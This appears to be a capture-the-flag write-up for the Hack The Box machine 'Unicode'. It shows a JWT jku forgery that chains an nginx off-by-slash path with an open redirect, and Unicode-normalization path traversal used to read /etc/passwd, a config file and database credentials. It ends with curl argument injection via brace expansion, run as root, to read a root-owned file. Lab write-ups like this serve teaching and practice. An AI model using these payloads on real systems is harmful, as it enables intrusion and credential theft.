Enumeration

nmap

# Nmap 7.92 scan initiated Fri Dec 10 11:01:59 2021 as: nmap -sCV -oN nmap_tcp 10.129.96.111
Nmap scan report for 10.129.96.111
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Hackmedia
|_http-generator: Hugo 0.83.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 10 11:02:07 2021 -- 1 IP address (1 host up) scanned in 8.15 seconds

Web Enumeration

On the initial page, we notice there is a redirect http://hackmedia.htb/redirect/?url=google.com

Next we begin with running gobuster from the discovered endpoints we observe /register.

/login                (Status: 308) [Size: 260] [--> http://10.129.96.111/login/]
/logout               (Status: 308) [Size: 262] [--> http://10.129.96.111/logout/]
/register             (Status: 308) [Size: 266] [--> http://10.129.96.111/register/]
/checkout             (Status: 308) [Size: 266] [--> http://10.129.96.111/checkout/]
/error                (Status: 308) [Size: 260] [--> http://10.129.96.111/error/]   
/upload               (Status: 308) [Size: 262] [--> http://10.129.96.111/upload/]  
/display              (Status: 308) [Size: 264] [--> http://10.129.96.111/display/] 
/internal             (Status: 308) [Size: 266] [--> http://10.129.96.111/internal/]
/redirect             (Status: 308) [Size: 266] [--> http://10.129.96.111/redirect/]
/debug                (Status: 308) [Size: 260] [--> http://10.129.96.111/debug/]   
/dashboard            (Status: 308) [Size: 268] [--> http://10.129.96.111/dashboard/]
/pricing              (Status: 308) [Size: 264] [--> http://10.129.96.111/pricing/] 

Once we have logged in with the user we registered, we get redirected to /dashboard.

We notice that the cookie uses JWT as the mechanism of session cookie.

GET /dashboard/ HTTP/1.1
Host: 10.129.96.111
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiam9obiJ9.fUXM6uoYSqrXOEEggGoVxSw5q53TeukNNAa0wREc9_dOqPUEr1F2SBsgFdu4P18PNE4yWVYeuSexsGEL3vwWYEKE4awLbzkJnPQPj2_qF3pyVKX0NYNRI-LjpIriPZ6Z-FgnoRo47vEKQG2yMLLSmaI8FS7wrpR7OL42I3USiBh3qPBz26ZwZmtwh7b12vyaFWRsBcybq0-3I-np8eg4DQS51_ZMMNvNxv3VIF8UD3PtBr3hK1iviyfK9ZiQbgiV8SKjfnpi3rat1NQcJRJ50A3VcbbHZZ2pqe-iYruXUZf8anz4PGODYXg3m7aEScBKK8eeqiZ0rKt7gT4lrkrp7A
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

If we decode the JWT using jwt.io we observe a jku key in the JWT Header

We can download the file which jku is pointing to:

{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}

We try the attack with jku in this blogpost

When we replace the JWT, we only get jku validation failed

Figured out that it could possibly be the algorithm used in the blog post and discovered [this tool](mkjwk - JSON Web Key Generator) to generate the key pair as well as getting the n value for jwks.json.

We point the jku to http://hackmedia.htb/static/../redirect/?url=10.10.17.142/jwks.json that will leverate the “off-by-slash” vulnerability in nginx in conjunction with the redirect.

Once generate a new jwt using jwt.io, changing the user to admin and pasting the public and private key generated by the tool.

Once we have generated our JWT we host a python server to serve jwks.json in order for the server to validate our token.

Once we have access as admin we observe there appears to be a file inclusion in http://hackmedia.htb/display/?page=quarterly.pdf

Seeing the name of the box, we could guess the it might be a unicode normalization vulnerability. From this blogpost we get the payload ︰/︰/︰/︰/etc/passwd

As we know it is running nginx we should be able to fetch the VHOST conf by grabbing /etc/nginx/sites-enabled/default ->

GET /display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-enabled/default



server{
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
	listen 80;
	location / {
		proxy_pass http://localhost:8000;
		include /etc/nginx/proxy_params;
		proxy_redirect off;
	}
	location /static/{
		alias /home/code/coder/static/styles/;
	}

}

We change our payload to GET /display/?page=%EF%B8%B0/db.yaml to get the creds:

mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

With the credentials we get access via ssh as the user coder.

We begin with enumerating our sudo possibilities:

code@code:~$ sudo -l
Matching Defaults entries for code on code:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
    (root) NOPASSWD: /usr/bin/treport

If we test to run this binary

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:2
Traceback (most recent call last):
  File "treport.py", line 76, in <module>
  File "treport.py", line 17, in list_files
FileNotFoundError: [Errno 2] No such file or directory: '/root/reports/'
[6496] Failed to execute script 'treport' due to unhandled exception!
code@code:~$ 

As we observe python files that are missing we can make an educated guess that this might be a python compiled binary.

We can “extract” the contents of using pyinstxtractor

We get a bunch of files after extracting the installer binary, the one that seems interesting is treport.pyc.

I tried using uncompyle6 as suggested in the pyinstxtractor repo, but it complained about the python version being 3.9.9.

After some googling, we discover the tool pycdc

We have to compile the binary ourselves and to do so we have to generate the makefile with CMake.

$ cmake .                                                                         
-- The C compiler identification is GNU 11.2.0
-- The CXX compiler identification is GNU 11.2.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found PythonInterp: /usr/bin/python (found version "2.7.18")
-- Configuring done
-- Generating done
-- Build files have been written to: /home/bob/htb/unicode/pycdc  
$ sudo make install                                                                                                                                                                                                                  
[ 85%] Built target pycxx
Consolidate compiler generated dependencies of target pycdas
[ 90%] Built target pycdas
[100%] Built target pycdc
Install the project...
-- Install configuration: ""
-- Installing: /usr/local/bin/pycdas
-- Installing: /usr/local/bin/pycdc

After compiling the binary we decompile the pyc file

$ pycdc treport.pyc > treport.py

We open treport.py and discover that there is a command injection vulnerabiliy in the binary

    
    def download(self):
        now = datetime.now()
        current_time = now.strftime('%H_%M_%S')
        command_injection_list = [
            '$',
            '`',
            ';',
            '&',
            '|',
            '||',
            '>',
            '<',
            '?',
            "'",
            '@',
            '#',
            '$',
            '%',
            '^',
            '(',
            ')']
        ip = input('Enter the IP/file_name:')
        res = bool(re.search('\\s', ip))
        if res:
            print('INVALID IP')
            sys.exit(0)
        if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
            print('INVALID URL')
            sys.exit(0)
        cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
        os.system(cmd)

We notice that { and } and not included in the list.

Using the option --config will make curl read a file loaded with curl arguments.

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{--config,/root/root.txt}
Warning: /root/root.txt:1: warning: '4059b18b29cb69a00bdcc6fce2d8367f' is 
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
Enter your choice: